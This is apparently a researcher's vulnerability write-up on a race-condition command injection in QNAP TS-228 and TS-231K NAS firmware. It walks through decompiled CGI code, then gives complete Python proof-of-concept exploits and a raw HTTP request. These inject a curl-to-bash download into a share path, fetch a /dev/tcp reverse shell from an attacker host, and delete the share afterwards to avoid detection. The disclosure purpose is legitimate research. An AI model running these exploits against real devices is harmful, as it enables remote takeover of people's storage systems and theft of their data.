Tonight I’m going to present you a new vulnerability it’s a Race Condition to Remote Code Execution. I did not test all the firmwares of all the models but only the two I had at hand (Qnap TS-228 and Qnap TS-231K).

Affected versions

  • Qnap TS-228:
Firmware version Vulnerable function
4.3.6.2050 FUN_0000e700()
4.3.6.1711 FUN_0000e700()
4.3.6.0959 FUN_0000e700()
4.3.2.0128 FUN_0000e0b8()
  • Qnap TS-231K:
Firmware version Vulnerable function
5.0.0.2055 FUN_0000f658()
5.0.0.1986 FUN_0000f658()
5.0.0.1932 FUN_0000f658()
5.0.0.1891 FUN_0000f658()

Let’s look for the bug

Our target

alt text

So that you can also find the vulnerable firmwares, I will detail how to search if a firmware is vulnerable or not. First we need to get the firmware:

alt text

Then we get the CGI script that interests us:

alt text

Then we open it in Ghidra and search the string “Recycle”:

alt text

This allows us to obtain a reference to the function expected to be vulnerable:

alt text

Let’s analyze what the function FUN_0000e700() does.

Vulnerable function

The vulnerable function is the function FUN_0000e700(), let’s look at its code

File: /home/httpd/cgi-bin/priv/privRequest.cgi

void FUN_0000e700(undefined4 param_1,undefined4 param_2,undefined4 param_3)

{
  int iVar1;
  size_t sVar2;
  char *pcVar3;
  undefined4 extraout_r1;
  void *__ptr;
  uint uVar4;
  char local_238;
  char local_237;
  char local_236;
  byte local_235;
  char acStack536 [260];
  byte local_114 [260];
  
  local_114[0] = 0;
  local_238 = '\0';
  FUN_0001ac08("emptyShareRecycleBin",param_2,param_3,0);
  iVar1 = CGI_Find_Parameter(param_1,"sharename"); #1
  if (iVar1 != 0) {
    strcpy((char *)local_114,*(char **)(iVar1 + 4));
  }
  __ptr = (void *)(uint)local_114[0];
  if (__ptr != (void *)0x0) {
    __ptr = (void *)URLdecode_to_UTF8(local_114); #2
    Conf_Get_Field("/etc/smb.conf",__ptr,"recycle bin",&local_238,0x20); #3
    if ((((local_238 == 'y') && (local_237 == 'e')) && (local_236 == 's')) && #3
       (uVar4 = (uint)local_235, uVar4 == 0)) {
      Conf_Get_Field("/etc/smb.conf",__ptr,&DAT_00020aa8,acStack536,0x101); #4
      sVar2 = strlen(acStack536);
      pcVar3 = (char *)calloc(1,sVar2 + 0x101);
      sprintf(pcVar3,"/bin/rm -rf \"%s/@Recycle/\"*",acStack536); #5
      system(pcVar3); #6
      free(pcVar3);
      goto LAB_0000e7d0;
    }
  }
  uVar4 = 1;
LAB_0000e7d0:
  pcVar3 = "%d";
  FUN_0001ac30("result",0,"%d",uVar4);
  FUN_0001ac1c("emptyShareRecycleBin",extraout_r1,pcVar3,uVar4);
  if (__ptr != (void *)0x0) {
    free(__ptr);
  }
  return;
}
  • #1: The user parameter $_GET["sharename"] or $_POST["sharename"] is retrieved.
  • #2: The value of the parameter is URL decoded.
  • #3: Within file /etc/smb.conf if the entry corresponding to the variable $_GET["sharename"] or $_POST["sharename"] exists and this entry has an attribute recycle bin set to yes go to #4.
  • #4: The value of the attribute &DAT_00020aa8 (path) is injected in a bash command (see #5).
  • #5: The Command Injection takes place.
  • #6: The command is executed.

alt text

So if we are able to create a share having for attribute recycle bin the value yes and attribute path the value $(<COMMAND_HERE>) then it is possible to execute arbitrary commands.

Before exploiting this vulnerability it is first necessary for us to reach it.

Trigger the vulnerable function

This function is only referred to once in the whole binary and it is within the function FUN_0000e800():

alt text

alt text

File: /home/httpd/cgi-bin/priv/privRequest.cgi

int FUN_0000e800(undefined4 param_1,undefined4 param_2,undefined *param_3,uint *param_4)

{
  char **ppcVar1;
 ...
  undefined auStack292 [256];
  
  iVar2 = CGI_Get_Input();
  iVar3 = CGI_Find_Parameter(iVar2,&DAT_00020b94); #1
  if (iVar3 != 0) {
    iVar3 = *(int *)(iVar3 + 4);
  }
  iVar4 = CGI_Find_Parameter(iVar2,"wiz_func");
  if ((iVar4 == 0) || (pcVar19 = *(char **)(iVar4 + 4), pcVar19 == (char *)0x0)) {
    FUN_0001bbcc();
    FUN_0001ac30("retValue",0,"-1",param_4);
    goto LAB_0000ef9e;
  }

  ...

          iVar3 = strcmp(pcVar19,"empty_share_recycle_bin");
          if (iVar3 == 0) {
            FUN_0000e700(iVar2,extraout_r1_00,pcVar16);
            goto LAB_0000ef9e;
          }

  ...

}

By reading the code and we understand that:

  • 1#: If the variable $_GET[&DAT_00020b94] or $_POST[&DAT_00020b94] ($_GET["sid"] or $_POST["sid"]) exists and is valid.
  • 2#: If the variable $_GET["wiz_func"] or $_POST["wiz_func"] equals empty_share_recycle_bin then our vulnerable function is called.

So the only information to be transmitted in the request to trigger the vulnerable function are the following:

{
    "sid": SID,
    "wiz_func": "empty_share_recycle_bin",
    "sharename": "<SHARE_NAME_HERE>"
}

Exploitation

To exploit this vulnerability we need to create a share which has the attribute path set to a command we want to execute and the recycle bin attribute set to yes.

The problem is that in the life cycle of creating a share and thus editing the file /etc/smb.conf, this is what happens:

alt text

However if we manage to execute the vulnerable function in the time where path and recycle bin attributes are good in file /etc/smb.conf then we can trigger the execution of our command and that’s why it’s a Race Condition.

alt text

Exploit for Qnap TS-228

Let’s say our NAS has IP 192.168.0.3 and exposes its web interface on port 8080. And that we have for IP 192.168.0.4 with:

  • Listening on port 8000 a python SimpleHTTPServer which expose file commands.

File: commands

bash -i >& /dev/tcp/192.168.0.4/4444 0>&1 &
rm -rf '/share/CACHEDEV1_DATA/A$('
  • Listening on port 4444, a netcat listener.

Here is a POC:

import requests
import time

SID = "kgi8r6a8"

HEADERS = {
    "X-Requested-With": "XMLHttpRequest"
}

# Send a POST request without waiting for server's response.
def get_no_wait(url, datas):
    r = None
    try:
        r = requests.post(url, headers=HEADERS, data=datas, timeout=0.1)
    except requests.exceptions.ReadTimeout:
        pass
    return r

url = "http://192.168.0.3:8080/cgi-bin/priv/privWizard.cgi"

# Create a share with a bash command in the path.
datas = {
    "sid": SID,
    "wiz_func": "share_property",
    "action": "share_property",
    "old_sname": "FakeFolderName",
    "new_sname": "FakeFolderName",
    "share_comment": "FakeComment",
    "manual_path": "A$(/sbin/curl http://192.168.0.4:8000/commands|/bin/bash)B",
    "vol_no": 1,
    "share_hidden": 0,
    "oplocks": 0,
    "mangled_names": 1,
    "EncryptData": 0,
    "ftp_wonly": 0,
    "recycle_bin": 1,
    "recycle_bin_administrators_only": 1,
    "qsync": 0,
    "add_to_media_folder": 0,
    "hide_unreadable": 0,
    "share_enumeration": 1,
    "timemachine": 0
}

get_no_wait(url, datas)

# Race the creation of the share by expecting the option "recycle bin = yes"
# to be set for the created share. This option will be switched to
# "recycle bin = no" when FUN_000150cc() will end and the Command Injection
# via the function FUN_0000e700() will no longer be possible.
datas = {
    "sid": SID,
    "wiz_func": "empty_share_recycle_bin",
    "sharename": "FakeFolderName"
}

condition = 0
while condition < 100:
    get_no_wait(url, datas)
    condition += 1

# Wait until the share is completely created
time.sleep(10)

# Remove the created share to avoid detection.
url = "http://192.168.0.3:8080/cgi-bin/priv/privRequest.cgi"

datas = {
    "sid": SID,
    "subfunc": "share",
    "apply": 1,
    "del_cnt": 1,
    "share_list": "FakeFolderName"
}

r = requests.post(url, headers=HEADERS, data=datas)

print("[+] Done")

alt text

Exploit for Qnap TS-231K

The operation is the same for both models, since in both cases a Race Condition is used. The only difference is that the share creation request for the model TS-231K. Here is the POST request to send:

POST /cgi-bin/wizReq.cgi?sid=l9f1qqz7&wiz_func=share_create&action=add_share HTTP/1.1
Host: 192.168.0.252:8080
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 503

share_name=FakeFolderName&comment=FakeComment&guest=deny&hidden=0&oplocks=1&EncryptData=0&showSnapshots=1&wizard_filter=&user_wizard_filter=&userw0=admin&userd_len=0&userw_len=1&useno_len=0&group_wizard_filter=&grouprw0=administrators&grouprd_len=0&grouprw_len=1&groupno_len=0&access_r=setup_users&img_file_path=&path_type=manual&quotaSettings=&quota_size=&manual_path=A$(/sbin/curl http://192.168.0.4:8000/commands|/bin/bash)B&recycle_bin=1&recycle_bin_administrators_only=0&quotaRadio=0&addToMediaFolder=0&qsync=0&timemachine=0&vol_no=1&hide_unreadable=0&share_enumeration=0

Here is a POC:

import requests
import time

SID = "l9f1qqz7"

HEADERS = {
    "X-Requested-With": "XMLHttpRequest"
}

# Send a POST request without waiting for server's response.
def get_no_wait(url, datas):
    r = None
    try:
        r = requests.post(url, headers=HEADERS, data=datas, timeout=0.1)
    except requests.exceptions.ReadTimeout:
        pass
    return r

url = "http://192.168.0.3:8080/cgi-bin/wizReq.cgi"

# Create a share with a bash command in the path.
datas = {
    "sid": SID,
    "wiz_func": "share_create",
    "action": "add_share",
    "share_name": "POC",
    "comment": "POC",
    "guest": "deny",
    "hidden": 0,
    "oplocks": 1,
    "EncryptData": 0,
    "showSnapshots": 1,
    "wizard_filter": "",
    "user_wizard_filter": "",
    "userw0": "admin",
    "userd_len": 0,
    "userw_len": 1,
    "useno_len": 0,
    "group_wizard_filter": "",
    "grouprw0": "administrators",
    "grouprd_len": 0,
    "grouprw_len": 1,
    "groupno_len": 0,
    "access_r": "setup_users",
    "img_file_path": "",
    "path_type": "manual",
    "quotaSettings": "",
    "quota_size": "",
    "manual_path": "A$(/sbin/curl http://192.168.0.4:8000/commands|/bin/bash)B",
    "recycle_bin": 1,
    "recycle_bin_administrators_only": 0,
    "quotaRadio": 0,
    "addToMediaFolder": 0,
    "qsync": 0,
    "timemachine": 0,
    "vol_no": 1,
    "hide_unreadable": 0,
    "share_enumeration": 0
}

get_no_wait(url, datas)

# Race the creation of the share by expecting the option "recycle bin = yes"
# to be set for the created share. This option will be switched to
# "recycle bin = no" when FUN_000150cc() will end and the Command Injection
# via the function FUN_0000e700() will no longer be possible.
url = "http://192.168.0.3:8080/cgi-bin/priv/privWizard.cgi"

datas = {
    "sid": SID,
    "wiz_func": "empty_share_recycle_bin",
    "sharename": "FakeFolderName"
}

condition = 0
while condition < 100:
    get_no_wait(url, datas)
    condition += 1

# Wait until the share is completely created
time.sleep(10)

# Remove the created share to avoid detection.
url = "http://192.168.0.3:8080/cgi-bin/priv/privRequest.cgi"

datas = {
    "sid": SID,
    "subfunc": "share",
    "apply": 1,
    "del_cnt": 1,
    "share_list": "FakeFolderName"
}

r = requests.post(url, headers=HEADERS, data=datas)

print("[+] Done")